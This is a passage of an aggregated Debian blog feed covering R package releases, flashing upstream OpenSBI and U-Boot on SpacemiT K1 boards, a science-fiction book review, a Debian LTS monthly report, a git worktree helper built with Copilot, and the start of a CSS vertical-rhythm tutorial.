A new maintenance release 0.4.27 of RProtoBuf arrived on CRAN today. RProtoBuf provides R with bindings for the Google Protocol Buffers (“ProtoBuf”) data encoding and serialization library used and released by Google, and deployed very widely in numerous projects as a language and operating-system agnostic protocol. The new release is also already as a binary via r2u.

This release adjusts to a change upstream. Luca Billi noticed that upstream removed some fields from FieldDescriptor, filed and issue and followed up with a spotless PR. No other changes.

The following section from the NEWS.Rd file has all details and links.

Changes in RProtoBuf version 0.4.27 (2026-04-26)

  • Adjust to FieldDescriptor API changes in ProtoBuf 3.4 (Luca Billi in #114 fixing #113)

Thanks to my CRANberries, there is a diff to the previous release. The RProtoBuf page has copies of the (older) package vignette, the ‘quick’ overview vignette, and the pre-print of our JSS paper. Questions, comments etc should go to the GitHub issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub. You can also sponsor my Tour de Shore 2026 ride in support of the Maywood Fine Arts Center.

26 April, 2026 06:07PM

hackergotchi for Aurelien Jarno

Aurelien Jarno

Running upstream OpenSBI on SpacemiT K1

The SpacemiT K1 is a rather interesting RISC-V SoC, found for instance on boards like the Banana Pi BPI-F3 board. It's one of those platforms that looked promising on paper, but took a bit of time before things really started to move upstream. Things have clearly accelerated over the last few months.

Linux 7.0 brings, among other things PCIe support, making the board quite capable as a development board. SD card, CPU thermal sensor and cpufreq support are already in the pipe.

Unfortunately the situation is less advanced on the firmware side. There is only very basic support for the SpacemiT K1 in U-Boot for the second stage, and initial SPL support has been posted on the mailing list, but has not yet been merged. In practice, this means you still have to rely on the vendor U-Boot, which is based on the rather old 2022.10 release.

On the other hand, OpenSBI does have upstream support for the SpacemiT K1, however it is not compatible with the vendor U-Boot, mostly due to device tree differences.

This can be addressed by applying a few patches to the vendor U-Boot, which I have published in a git tree in the k1-bl-v2.2.y-opensbi branch (technically this can also be handled on the OpenSBI side, but I prefer using a vanilla upstream OpenSBI version). The first two patches update the configuration to get closer to the upstream U-Boot defaults, and to enable some configuration options for the Milk-V Jupiter board, which stores its firmware in SPI NOR flash, instead of eMMC for the Banana Pi BPI-F3. The following patches update the device tree by adding extra compatible entries to several devices, as expected by the upstream kernel and OpenSBI (thanks to Troy Mitchell for the hint about the UART change) and update the CPU riscv,isa properties. Finally an additional patch adds the SpacemiT P1 PMIC to the device tree, which is required for the OpenSBI reboot patchset I recently posted (this is currently done only for the Banana Pi BPI-F3 and Milk-V Jupiter boards, but extending it to other boards should be straightforward).

Building this U-Boot version is as simple as running this command in the source directory:

make k1_defconfig && make

On a Banana Pi BPI-F3 board, the resulting U-Boot can be flashed with:

echo 0 > /sys/block/mmcblk0boot0/force_ro
dd if=FSBL.bin of=/dev/mmcblk0boot0 bs=512 seek=1
dd if=u-boot.itb of=/dev/mmcblk0p1

Building upstream OpenSBI is also fairly simple, and can be done by running this command in the source directory:

make PLATFORM=generic

On a Banana Pi BPI-F3 board, the resulting OpenSBI can be flashed with:

dd if=fw_dynamic.itb of=/dev/mmcblk0p2

Note that the vendor U-Boot version is patched to install OpenSBI in a separate partition instead of embedding, as the upstream U-Boot does. While this works well on the Banana Pi BPI-F3, the corresponding partition in the Milk-V Jupiter SPI NOR flash is too small for the upstream OpenSBI version, and can't be easily resized without breaking compatibility. To address this, the branch k1-bl-v2.2.y-opensbi-embedded contains an additional patch (a bit hackish I admit) to somehow restore the upstream approach. The build process remains simple, first build OpenSBI with the following command:

make PLATFORM=generic

Then build U-Boot, specifying the patch to the just built OpenSBI firmware:

make k1_defconfig && make OPENSBI=/path/to/opensbi/build/platform/generic/firmware/fw_dynamic.bin

On a Milk-V Jupiter board, the resulting combined U-Boot/OpenSBI can be flashed with:

modprobe mdtblock
dd bs=4k if=FSBL.bin of=/dev/mtdblock2
dd bs=4k if=u-boot.itb of=/dev/mtdblock5

This combined U-Boot/OpenSBI can also be used on a Banana Pi BPI-F3, using the same flashing procedure as above, while skipping the OpenSBI part (although running it won't cause any issue, it will simply be unused).

All of this is admittedly a bit hackish, but enabling the use of upstream OpenSBI is already one step forward. Hopefully, in a few months, we will be able to rely entirely on upstream U-Boot.

26 April, 2026 12:13PM by aurel32

April 25, 2026

Russ Allbery

Review: The Genocidal Healer

Review: The Genocidal Healer, by James White

Series: Sector General #8
Publisher: Orb
Copyright: 1991
Printing: May 2003
ISBN: 0-7653-0663-8
Format: Trade paperback
Pages: 255

The Genocidal Healer is the eighth book in James White's medical science fiction series about the Sector General hospital. As with the rest of the series, detailed memory of the previous books is not required and the books could be read out of order if you didn't mind spoilers.

I read this as part of the Orb General Practice omnibus.

Surgeon-Captain Lioren is a Tarlan doctor who was in charge of the medical response to a newly-discovered civilization. The aliens were suffering from an apparently universal plague and an ongoing vicious war waged entirely through hand-to-hand combat, putting them on the edge of extinction. Lioren rushed the distribution of a possible cure against the advice of the doctors working on developing it, with catastrophic results. As The Genocidal Healer opens, Lioren is insisting on a court-martial in the hope of receiving the sentence it believes it deserves and was denied: death.

(It pronouns are the convention in the Sector General series for all alien races and formal discussions, because even someone prone to bouts of gender essentialism such as White understood the need for avoiding gender assumptions in a science fiction medical context.)

Predictably, both Sector General and the Monitor Corps that technically runs the hospital are flatly unwilling to execute Lioren. Instead, he is assigned as a new apprentice in the psychology department under the legendary O'Mara, where he is ordered to investigate the psychological fitness of a senior doctor named Seldal. This leads him to talk to Seldal's patients, which in turn leads to a challenging set of ethical dilemmas.

The first five chapters (and more than sixty pages) are the story of Lioren's trial and a recounting of the events on Cromsag. The series is full of medical and cultural puzzles like this, and usually I like them, but I thought this one was less successful. We know the vague (and horrible) outline of the ending in advance, and the massive simplification and artificial universality that is required to make this puzzle work is particularly blatant. A universally infectious disease is more of a fiction plot than a believable biological concept, and the number of failures of communication, analysis, and misunderstanding that have to line up to create White's predetermined outcome were a bit much for me.

Once the story gets past that and into Lioren's psychological work, the novel improves. Lioren is guilt-ridden and irrational, but also rather arrogant about his guilt and his concepts of professional responsibility in a way that I think mostly worked. Most of the novel consists of Lioren slowly discovering that people like him and enjoy talking to him, much to his bafflement. In that, it has the gentle kindness and sense of universal basic decency that is characteristic of this series. There are, of course, medical puzzles to solve, although this time they are primarily psychological in nature. Various characters from previous books make an appearance, but White re-explains their background in sufficient detail that you don't need to remember (or have read) those previous books.

There are a lot of similarities between this book and the previous one, Code Blue—Emergency. Both feature nonhuman viewpoint protagonists and amusing descriptions of human facial expressions from an alien perspective. Both feature protagonists with overly rigid ethical structures that partly clash with the generally human policies of Sector General. The Genocidal Healer is a bit more subtle and nuanced, although a lot of Lioren's psychological evaluation rests on an ethical difference that I found somewhat unbelievable. This book, though, tackles a subject the previous book did not: religion. The treatment isn't horrible, but I have some complaints.

My primary issue is that Lioren, who starts as an atheist, does extensive research into religion to help a patient and then starts making statements summarizing the religions beliefs of the majority of known species that are just... Christianity. As someone raised Christian, I recognized it immediately as the sort of abstracted Christianity that Christians claim is universal while completely ignoring the opinions of the adherents of any other religion.

Key components of this majority galactic religious pattern, according to Lioren, include an omnipotent and omnibenevolent creator god, a religious figure who preaches forgiveness and mercy and is persecuted, and emphasis on redemption. This simply is not some abstract universal religion. This is just Christianity in disguise. Even in religions that have some of those elements in their traditions, they do not get the same emphasis and are not handled the way that Lioren describes them. I therefore found Lioren's extended discussions of religion rather annoying, since he kept claiming as relatively universal principles beliefs that are not even held by the majority of religious adherents on Earth, let alone a wildly varying collection of alien races with entirely different biology and societal constructions. It caused a lot of problems for my suspension of disbelief, on top of the annoyance at this repetition of, frankly, Christian propaganda.

Lioren goes, from that research, into theodicy (the problem of evil). The interesting part of this is White's earnest portrayal of a doctor's approach to societal problems: a desire to find workarounds and patches and fixes for anything that makes people unhappy, whether medical or social. It makes sense, given the horrible biologic hands that some of the aliens in this series have been dealt, that they would question the idea of a benevolent god, so this philosophical digression is justified in that sense. But you might guess that a mid-list science fiction author is not going to say something new about one of the oldest problems in Christianity, and indeed he does not. Lioren arrives at the standard handwaving about the unknowability of divine intent, which I found tedious to read but at least not fatal to the plot.

White, thankfully, doesn't take the religious material too far. The characters recognize how sensitive of an issue religion is in a hospital, Lioren never adopts religion fully, and the resolution of the plot is as much biological as philosophical. White is going somewhere with the introduction of religion, and although some of the path there annoyed me, I think the destination worked. White was from Northern Ireland, and therefore well aware of the drawbacks of religion, and he abhorred violence (hence Sector General as a setting), so the reader is in better hands with him than with most authors who might attempt this plot.

I think I know a bit too much about religion to be the best audience for this entry in the series, and I'm not sure the introductory five chapters quite worked. But as with all of the other books in the series, this kept me turning the pages and I'm glad I read it. The Genocidal Healer probably isn't worth seeking out unless you're reading the whole series, but if you're enjoying the rest of the series, you'll probably like this too.

Followed by The Galactic Gourmet.

Rating: 6 out of 10

25 April, 2026 04:44AM

April 24, 2026

hackergotchi for Freexian Collaborators

Freexian Collaborators

Monthly report about Debian Long Term Support, March 2026 (by Santiago Ruano Rincón)

The Debian LTS Team, funded by [Freexian’s Debian LTS offering] (https://www.freexian.com/lts/debian/), is pleased to report its activities for March.

Activity summary

During the month of March, 20 contributors have been paid to work on Debian LTS (links to individual contributor reports are located below).

The team released 24 DLAs fixing 250 CVEs.

We also welcomed two new members: Lukas Märdian and Emmanuel Arias to the team, who actually started to contribute to the LTS project several months ago.

The team continued preparing security updates in its usual rhythm. Beyond the updates targeting Debian 11 (“bullseye”), which is the current release under LTS, the team also proposed updates for more recent releases (Debian 12 (“bookworm”) and Debian 13 (“trixie”)), including Debian unstable. We highlight several notable security updates here below.

  • ansible (DLA 4502-1), prepared by Lee Garret in collaboration with Jochen, fixing a vulnerability that allows attackers to bypass unsafe content protections
  • asterisk (DLA 4515-1), prepared by Lukas Märdian, fixing four CVEs that include possible privilege escalations.
  • gimp (DLA 4500-1), prepared by Thorsten, fixing four CVEs related to denial of service or execution of arbitrary code.
  • gst-plugins-base1.0 and gst-plugins-ugly1.0 (DLA-4514-1, DLA-4516-1, respectively), both prepared by Utkarsh, addressing vulnerabilities that may yield to arbitrary code execution.
  • imagemagick, released by Bastien Roucariès (DLA 4497-1) fixing multiple vulnerabilities that could lead to information leaks, bypass of security policies, denial of service or arbitrary code execution.
  • libpng1.6 (DLA 4521-1), prepared by Tobias Frost, fixing an arbitrary code execution vulnerability
  • linux: Ben Hutchings released DLA 4498-1 and DLA 4499-1 for linux 5.10 and linux 6.1, respectively. Those updates especially address the “CrackArmor” flaw.
  • ruby-rack (DLA 4505-1), prepared by Utkarsh Gupta, addressing two vulnerabilities
  • strongswan (DLA 4512-1), prepared by Thorsten Alteholz, fixing a Denial of Service vulnerability
  • roundcube (DLA 4517-1) prepared by Guilhem Moulin, who discovered that one of the fixes provided by upstream was incomplete.

Contributions from outside the LTS Team:

As usual, the thunderbird update, released as DLA 4511-1, was prepared by its maintainer Christoph Goehre. Thanks a lot for his continuous contributions.

The LTS Team has also contributed with updates to the latest Debian releases:

  • Andreas Henriksson completed the uploads of glib2.0 for both trixie and bookworm
  • Arnaud Rebillout: python-cryptography for trixie
  • Arnaud and Bastien worked together to prepare a ca-certificates-java release for unstable
  • Bastien completed the upload of gpsd for trixie that was proposed in January.
  • Bastien uploaded a regression update of apache2 for trixie
  • Bastien prepared a zabbix point update for trixie
  • Bastien in collaboration with Markus released netty updates for trixie and bookworm DSA 6160-1
  • Daniel Leidert proposed python-tornado releases for both trixie and bookworm.
  • Daniel also prepared a python-authlib update for trixie
  • Guilhem prepared a mapserver update for bookworm.
  • Lucas Kanashiro proposed merge requests to fix three CVEs in erlang for both trixie and bookworm
  • Sylvain Beucler continued the work to replace p7zip with 7zip in the different supported releases, and proposed a point update for bookworm
  • Tobias prepared trixie and bookworm security updates, released as DSA-6189-1
  • Utkarsh prepared trixie and bookworm security update for ruby-rack, released as DSA-6180-1

Individual Debian LTS contributor reports

Thanks to our sponsors

Sponsors that joined recently are in bold.

24 April, 2026 12:00AM by Santiago Ruano Rincón

April 23, 2026

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

dtts 0.1.4 on CRAN: Maintenance

Leonardo and I are happy to announce another maintenance release 0.1.4 of our dtts package which has been on CRAN for four years now. dtts builds upon our nanotime package as well as the beloved data.table to bring high-performance and high-resolution indexing at the nanosecond level to data frames. dtts aims to offers the time-series indexing versatility of xts (and zoo) to the immense power of data.table while supporting highest nanosecond resolution.

This release, not unlike yesterday’s release of nanotime, is driven by recent changes in the bit64 package which underlies it. Michael, who now maintains it, had sent in two PRs to prepare for these changes. I updated continuous integration, and switched to Authors@R, and that pretty much is the release. The short list of changes follows.

Changes in version 0.1.4 (2026-04-23)

  • Continuous integration has received some routine updates

  • Adapt align() column names with changes in 'data.table' (Michael Chirico in #20)

  • Narrow imports to functions used for packages 'bit64', 'data.table' and 'nanotime' (Michael Chirico in #21)

Courtesy of my CRANberries, there is also a [diffstat repor]tbsdiffstat for this release. Questions, comments, issue tickets can be brought to the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can now sponsor me at GitHub. You can also sponsor my Tour de Shore 2026 ride in support of the Maywood Fine Arts Center.

23 April, 2026 06:58PM

hackergotchi for Sergio Talens-Oliag

Sergio Talens-Oliag

Developing a Git Worktree Helper with Copilot

Over the past few weeks I’ve been developing and using a personal command-line tool called gwt (Git Worktree) to manage Git repositories using worktrees. This article explains what the tool does, how it evolved, and how I used GitHub Copilot CLI to develop it (in fact the idea of building the script was also to test the tool).

The Problem: Managing Multiple Branches

I was working on a project with multiple active branches, including orphans; the regular branches are for fixes or features, while the orphans are used to keep copies of remote documents or store processed versions of those documents.

The project also uses a special orphan branch that contains the scripts and the CI/CD configuration to store and process the external documents (it is on a separate branch to avoid mixing its operation with the main project code).

The plan is trigger a pipeline against the special branch from remote projects to create or update the doc branch for it in our git repository, retrieving artifacts from the remote projects to get the files and put them on an orphan branch (initially I added new commits after each update, but I changed the system to use force pushes and keep only one commit, as the history is not really needed).

The original documents have to be changed, so, after ingesting them, we run a script that modifies them and adds or updates another branch with the processed version; the contents of that branch are used by the main branch build process (there we use git fetch and git archive to retrieve its contents).

When working on the scripts to manage the orphan branches I discovered the worktree feature of git, a functionality that allows me to keep multiple branches checked out in parallel using a single .git folder, removing the need to use git switch and git stash when changing between branches (until now I’ve been a heavy user of those commands).

Reading about it I found that a lot of people use worktrees with the help of a wrapper script to simplify the management. After looking at one or two posts and the related scripts I decided to create my own using a specific directory structure to simplify things.

That’s how I started to work on the gwt script; as I also wanted to test copilot I decided to build it using its help (I have a pro license at work and wanted to play with the cli version instead of integrated into an editor, as I didn’t want to learn a lot of new keyboard shortcuts).

The gwt Philosophy: Opinionated and Transparent

gwt enforces a simple, filesystem-visible model:

  • Exactly one bare repository named bare.git (treated as an implementation detail)
  • One worktree directory per branch where the directory name matches the branch name
  • Single responsibility: gwt doesn’t try to be a general git wrapper; it only handles operations that map cleanly to this layout

The repository structure looks like this:

my-repo/
+-- bare.git/           # the Git repository (internal)
+-- main/               # worktree for branch "main"
+-- feature/api/        # worktree for branch "feature/api"
+-- fix/docs/           # worktree for branch "fix/docs"
+-- orphan-history/     # worktree for the "orphan-history" branch

The tool follows five core design principles:

  1. Explicit over clever: Git commands are not hidden or reinterpreted
  2. Transparent execution: Every operation is printed before it happens
  3. Safe, preview-first operations: Destructive commands default to preview, confirmation, then apply
  4. Shell-agnostic core: The script never changes the caller’s working directory (shell wrappers handle that)
  5. Opinionated but minimal: Only commands that fit the layout model are included

Core Commands

The script provides these essential commands:

  • gwt init <url> — Clone a repository and set up the gwt layout
  • gwt convert <dir> — Convert an existing Git checkout to the gwt layout
  • gwt add [--orphan] <branch> [<base>] — Create a new worktree (optionally orphaned)
  • gwt remove <branch> — Remove a worktree and unregister it (asks the user to remove the local branch too, useful when removing already merged branches)
  • gwt rename <old> <new> — Rename a branch AND its worktree directory
  • gwt list — List all worktrees
  • gwt default [<branch>] — Get or set the default branch
  • gwt current — Print the current worktree or branch name

Except init and convert all of the commands work inside a directory structure that follows the gwt layout, which looks for the bare.git folder to find the root folder of the structure.

As I don’t want to hide which commands are really used by the wrapper, all git and filesystem operations pass through a single run shell function that prints each command before executing it. This gives complete visibility into what the tool is doing.

Also, destructive operations (remove, rename) default to preview mode:

$ gwt remove feature-old --dry-run

+ git -C bare.git branch -d feature-old
+ git -C bare.git worktree remove feature-old/

Apply these changes? [y/N]:

The user sees exactly what will happen, can verify it’s correct, and only then confirm execution.

Incremental Development with Copilot

The gwt script has grown from 597 lines in its original version (git-wt) to 1,111 lines when writing the first draft of this post.

This growth happened through incremental, test-driven development, with each feature being refined based on real usage patterns.

What follows is a little history of the script evolution written with the help of git log.

Initial version

First I wrote a design document and asked copilot to create the initial version of the git-wt script with the original core commands.

I started to use the tool with a remote repostory (I made copies of the branches in some cases to avoid missing work) and fixed bugs (trivial ones with neovim, larger ones asking copilot to fix the issues for me, so I had less typing to do).

First command update

One of the first commands I had to enhance was rename:

  • as I normally use branches with / on their name and my tool checks out the worktrees using the branch name as the path inside the gwt root folder (i.e. a fix/rename branch creates the fix directory and checks the branch inside the fix/rename folder) the rename command had to clean up the empty parent directories
  • when renaming a worktree we move the folders and fix the references using the worktree repair command to make things work locally, but the rename also affects the remote branch reference, to avoid surprises the command unsets the remote branch reference so it can be pushed again using the new name (of course, the user is responsible of managing the old remote branch, as the gwt can’t guess what it should do with it).

Integration with the shell

As I use zsh with the Powerlevel10k theme I asked copilot to help me add visual elements to the prompt when working with gwt folders, something that I would have never tried without help, as it would have required a lot of digging on my part on how to do it, as I never looked into it.

The initial version of the code was on an independent file that I sourced from my .zshrc file and it prints on the right part of the prompt when we are inside a gwt folder (note that if the folder is a worktree we see the existing git integration text right before it, so we have the previous behavior and we see that it is a gwt friendly repo) and if we are on the root folder or the bare.git folder we see gwt or bare (I added the text because there are no git promts on those folders).

I also asked copilot to create zsh autocompletion functions (I only use zsh, so I didn’t add autocompletion for other shells). The good thing here is that I wouldn’t have done that manually, as it would have required some reading to get it right, but the output of copilot worked and I can update things using it or manually if I need to.

One thing I was missing from the script was the possibility of changing the working directory easily, so I wrote a gwt wrapper function for zsh that intercepts commands that require shell cooperation (changing the working directory) and delegates everything else to the core script.

Currently the function supports the following enhanced commands:

  • cd [<branch>]: change into a worktree or the default one if missing
  • convert <dir>: convert a checkout, then cd into the initial worktree
  • add [--orphan] <branch> [<base>]: create a worktree, then cd into it on success
  • rename <old> <new>: rename a worktree, then cd into it if we were inside it

Note that the cd command will not work on other shells or if the user does not load my wrapper, but the rest will still work without the working directory changes.

Renaming the command

As I felt that git-wt was a long name I renamed the tool to gwt, I could have done it by hand, but using copilot I didn’t have to review all files by myself and it did it right (note that I have it configured to always ask me before doing changes, as it sometimes tries to do something I don’t want and I like to check its changes …​ as I have the files in git repos, I manually add the files when I like the status and if the cli output is not clear I allow it to apply it and check the effects with git diff so I can validate or revert what was done).

The convert command

After playing with one repo I added the convert subcommand for migrating existing checkouts, it seemed a simple task at first, but it took multiple iterations to get it right, as I found multiple issues while testing (in fact I did copies of the existing checkouts to be able to re-test each update, as some of the iterations broke them).

The version of the function when this post was first edited had the following comment explaining what it does:

# ---------------------------------------------------------------------------
# convert - convert an existing checkout into the gwt layout
# ---------------------------------------------------------------------------
#
# Must be run from the parent directory of <dir>.
#
# Steps:
#   1. Read branch from the checkout's HEAD
#   2. Rename <dir> to <dir>.wt.tmp (sibling, same filesystem)
#   3. Create <dir>/ as the new gwt root
#   4. Move <dir>.wt.tmp/.git to <dir>/bare.git; set core.bare = true
#   5. Fix fetch refspec (bare clone default maps refs directly, no remotes/)
#   6. Add a --no-checkout worktree so git wires up the metadata and
#      creates <dir>/<branch>/.git (the only file in that dir)
#   7. Move that .git file into the real working tree (<dir>.wt.tmp)
#   8. Remove the now-empty placeholder directory
#   9. Move the real working tree into place as <dir>/<branch>
#  10. Reset the index to HEAD so git status is clean
#      (--no-checkout leaves the index empty)
#  11. Create <dir>/.git -> bare.git symlink so plain git commands work
#      from the root without --git-dir
#
# The .git file ends up at the same absolute path git recorded in step 5,
# so no worktree repair is needed. Working tree files are never modified.

The .git link was added when I noticed that I could run commands that don’t need the checked out files on the root of the gwt structure, which is handy sometimes (i.e. a git fetch or a git log, that shows the log of the branch marked as default).

After playing with commands that used the bare.git folder I updated the init and convert commands to keep the origin refs, ensuring that the remote tracking works correctly.

Improving the add command

While playing with the tool on more repos I noticed that I also had to enhance the add command to better handle worktree creation, depending on my needs.

Right now the tool supports the following use cases:

  • if the branch exists locally or on origin, it just checks it out.
  • if the branch does not exist, we create it using the given base branch or, if no base is given, the current worktree (if we are in the root folder or bare.git the command fails).
  • as I needed it for my project, I added a --orphan option to be able to create orphan branches directly.

Moving to a single file

Eventually I decided to make the tool self contained; I removed the design document (I moved the content to comments on the top of the script and details to comments on each function definition) and added a pair of commands to print the code to source for the p10k and zsh integration (autocompletion & functions), leaving everything in a single file.

Now my .zshrc file adds the following to source both things:

# After loading the p10k configuration
if type gwt >/dev/null 2>&1; then
  source <(gwt p10k)
fi
[...]
# After loading autocompletion
if type gwt >/dev/null 2>&1; then
  source <(gwt zsh)
fi

Versioning

As I modified the script I found interesting to use CalVer-based versioning (the version variable has the format YYYY.mm.dd-r#) so I added a subcommand to show its value or bump it using the current date and computing the right revision number.

About the use of copilot

Although I’ve never been a fan of AI tools I have to admit that the copilot CLI has been very useful for building the tool:

  • Rapid prototyping: Each commit represented a small feature or fix that I could implement, test immediately in my actual workflow, and iterate on based on the result
  • Edge case handling: Rather than trying to anticipate every scenario upfront, I could ask Copilot how to handle edge cases as they appeared in real usage
  • Script refinement: Questions like "how do I clean up empty directories after a rename" or "how do I detect if I’m inside a specific worktree" were quickly answered with working code
  • Shell integration: The Zsh wrapper and completion system grew from simple prototypes to sophisticated features, with each iteration informed by how I actually used the tool

For example, the convert command started as a simple rename operation, but evolved to also create a .git symlink and intelligently handle various migration scenarios—all because I used it repeatedly and refined the implementation each time.

Self-Contained and Opinionated

gwt is deliberately opinionated:

  • Zsh & Powerlevel10k Integration: The tool includes built-in Zsh shell integration, accessed via source <(gwt zsh) and supports adding a prompt segment when using p10k, as described earlier.
  • Directory Structure: The bare.git directory name is non-negotiable. This is how gwt discovers the repository root from any subdirectory, and how the tool knows whether a directory is a gwt repository. The simplicity of this marker means the discovery mechanism is foolproof and requires no configuration.
  • No Configuration Files: gwt deliberately has no configuration. There are no .gwtrc files or config directories. This makes it portable; the tool works the same way everywhere, and repositories can be shared across systems without synchronizing configuration.

From Script to System

What started as a small helper script for managing worktrees has become a complete system:

  1. Core script (gwt): 1,111 lines of pure shell, no external dependencies
  2. Shell integration: Zsh functions and completions
  3. Prompt integration: Powerlevel10k segment
  4. Documentation: Built-in help and design philosophy documentation

The script is self-contained, everything needed for the tool to work is in a single file.

This makes it trivial to update (just replace the script) or audit (no hidden dependencies).

Development with AI support

Developing gwt with copilot taught me some things:

  • Incremental refinement works well for small tools: Each iteration informed the next, resulting in a tool that handles real use cases elegantly
  • Transparency is a feature: Making operations visible builds confidence and is easier to debug
  • Opinionated tools can be powerful: By constraining the problem space (one bare repo, one worktree per branch), the solution becomes simpler and more robust
  • Shell integration matters: The same core commands are easier to use when they can automatically change directories and provide completions
  • Real-world testing is essential: I wouldn’t have discovered the need for automatic directory cleanup or context-aware cd behavior without actually using the tool daily

What was next?

The tool is stable and handles my daily workflow well, so my guess is that I would keep using it and fixing issues if or when I found them, but I do not plan to include additional features unless I find a use case that justifies it (i.e. I never added support for some of the worktree subcommands, as it is easier to use the git versions if I ever needed them).

What really happened

While editing this post I discovered that I needed to add another command to it and fixed a bug (see below).

With those changes and the inclusion of a license and copyright notice (just in case I distribute it at some point) now the script is 1,217 lines long instead of the 1,111 it had when I started to write this entry.

Submodule Support

When I converted this blog repository to the gwt format and tried to preview the post using docker compose, it failed because the worktree I was on didn’t have the Git submodule initialized.

My blog theme is included on the repository as a submodule, and when I used gwt to check out different branches in worktrees, the submodule was not initialized in the new worktrees.

This led me to add new internal function and a gwt submodule command to handle submodule initialization; the internal function is called from convert and add (when converting a repo or adding a worktree) and the public command is useful to update the submodules on existing branches.

Path Handling with Branch Names Containing Slashes

The second discovery was a bug in how the tool handled branch names containing slashes (e.g., feature/new-api, docs/user-guide), the worktree directories are created with the branch name as the path, so a branch like feature/new-api would create two nested folders (feature and new-api inside it).

However, there was a mismatch in how the zsh wrapper function resolved worktree paths (initially it used shell parameter expansion, i.e. rel="${cwd#"$REPO_ROOT"/}"), versus how the core script calculated them, causing the cd command to fail or navigate to the wrong location when branch names contained slashes.

The fix involved ensuring consistent path resolution throughout the script and wrapper (now it uses a function that processes the git worktree list output), so that gwt cd feature/new-api correctly navigates to the worktree directory regardless of path depth.

Conclusion

gwt is a tool that solves a real problem: managing multiple Git branches simultaneously without context-switching overhead.

I’m sure I’m going to keep using it for my projects, as it simplifies some workflows, although I’ll also use switch and stash in some cases, but I like the use of multiple worktrees in parallel.

In fact I converted this blog repository checkout to the gwt format to work on a separate branch as it felt the right approach even if I’m the only one using the repo now, and it helped me improve the tool, as explained before.

Also, it was a good example of how to use AI tools like copilot to develop a simple tool and keep it evolving while using it.

In any case, although I find the copilot useful and has saved me time, I don’t trust it to work without supervision, it worked well, but got stuck some times and didn’t do the things as I wanted in multiple occasions.

I also have an additional problem now …​ I’ve been reading about it, but I don’t really know which models to use or how the premium requests are computed (I’ve only been playing with it since last month and I ran out of requests the last day of the month on purpose, just to see what happened …​ it stops working …​ ;).

On my work machine I’ve been using a specific user account with a GitHub Copilot Business subscription and I only used the Anthropic Claude Sonnet 4.6 model and with my personal account I configured the Anthropic Claude Haiku 4.5 model, but I’ve only used that to create the initial draft of this post (I ended up rewriting most of it manually anyway) and to review the final version (I’m not a native speaker and it was useful for finding typos and improving the style in some parts).

I guess I’ll try other models with copilot in the future and check other command line tools like aider or claude-code, but probably only using free accounts unless I get a payed account at work, as I have with GitHub Copilot.

To be fair, what I will love to be able to do is to use local models (aider can do it), but the machines I have are not powerful enough. I tried to run a simple test and it felt really slow, but when I have the time or the need I’ll try again, just in case.

23 April, 2026 05:40PM

April 22, 2026

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

nanotime 0.3.14 on CRAN: Upstream Maintenance

Another minor update 0.3.14 for our nanotime package is now on CRAN, and has compiled for r2u (and will have to wait to be uploaded to Debian until dependency bit64 has been updated there). nanotime relies on the RcppCCTZ package (as well as the RcppDate package for additional C++ operations) and offers efficient high(er) resolution time parsing and formatting up to nanosecond resolution, using the bit64 package for the actual integer64 arithmetic. Initially implemented using the S3 system, it has benefitted greatly from a rigorous refactoring by Leonardo who not only rejigged nanotime internals in S4 but also added new S4 types for periods, intervals and durations.

This release has been driven almost entirely by Michael, who took over as bit64 maintainer and has been making changes there that have an effect on us ‘downstream’. He reached out with a number of PRs which (following occassional refinement and smoothing) have all been integrated. There are no user-facing changes, or behavioural changes or enhancements, in this release.

The NEWS snippet below has the fuller details.

Changes in version 0.3.14 (2026-04-22)

  • Tests were refactored to use NA_integer64_ (Michael Chirico in #149 and Dirk in #156)

  • nanoduration was updated for changes in nanotime 4.8.0 (Michael Chirico in #152 fixing #151)

  • Use of as.integer64(keep.names=TRUE) has been refactored (Michael Chirico in #154 fixing #153)

  • In tests, nanotime is attached after bit64; this still needs a better fix (Michael Chirico in #155)

  • The package now has a hard dependency on the just released bit64 version 4.8.0 (or later)

Thanks to my CRANberries, there is a diffstat report for this release. More details and examples are at the nanotime page; code, issue tickets etc at the GitHub repository – and all documentation is provided at the nanotime documentation site.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can now sponsor me at GitHub. You can also sponsor my Tour de Shore 2026 ride in support of the Maywood Fine Arts Center.

22 April, 2026 08:34PM

Vincent Bernat

CSS & vertical rhythm for text, images, and tables

Vertical rhythm aligns lines to a consistent spacing cadence down the page. It creates a predictable flow for the eye to follow. Thanks to the rlh CSS unit, vertical rhythm is now easier to implement for text.1 But illustrations and tables can disrupt the layout. The amateur typographer in me wants to follow Bringhurst’s wisdom:

Headings, subheads, block quotations, footnotes, illustrations, captions and other intrusions into the text create syncopations and variations against the base rhythm of regularly leaded lines. These variations can and should add life to the page, but the main text should also return after each variation precisely on beat and in phase.

― Robert Bringhurst, The Elements of Typographic Style

Text

Three factors govern vertical rhythm: font size, line height and margin or padding. Let’s set our baseline with an 18-pixel font and a 1.5 line height:

html {
  font-size: 112.5%;
  line-height: 1.5;
}
h1, h2, h3, h4 {
  font-size: 100%;
}
html, body,
h1, h2, h3, h4,
p, blockquote,
dl, dt, dd, ol, ul, li {
  margin: 0;
  padding: 0;
}

CSS Values and Units Module Level 4 defines the rlh unit, equal to the computed line height of the root element. All browsers support it since 2023.2 Use it to insert vertical spaces or to fix the line height when altering font size:3

h1, h2, h3, h4 {
  margin-top: 2rlh;
  margin-bottom: 1rlh;
}
h1 {
  font-size: 2.5rem;
  line-height: 2rlh;
}
h2 {
  font-size: 1.5rem;
  line-height: 1rlh;
}
h3 {
  font-size: 1.25rem;
  line-height: 1rlh;
}
p, blockquote, pre {
  margin-top: 1rlh;
}
aside {
  font-size: 0.875rem;
  line-height: 1rlh;
}

We can check the result by overlaying a grid4 on the content:

Screenshot of my website with a grid as an overlay and each line of text fitting on the grid
Using CSS rlh unit to set vertical space works well for text. You can display the grid using Ctrl+Shift+G.

If a child element uses a font with taller intrinsic metrics, it may stretch the line’s box beyond the configured line height.5 A workaround is to reduce the line height to 1. The glyphs overflow but don’t push the line taller.

code, kbd {
  line-height: 1;
}

Responsive images

Responsive images are difficult to align on the grid because we don’t know their height. CSS Rhythmic Sizing Module Level 1 introduces the block-step property to adjust the height of an element to a multiple of a step unit. But most browsers don’t support it yet.

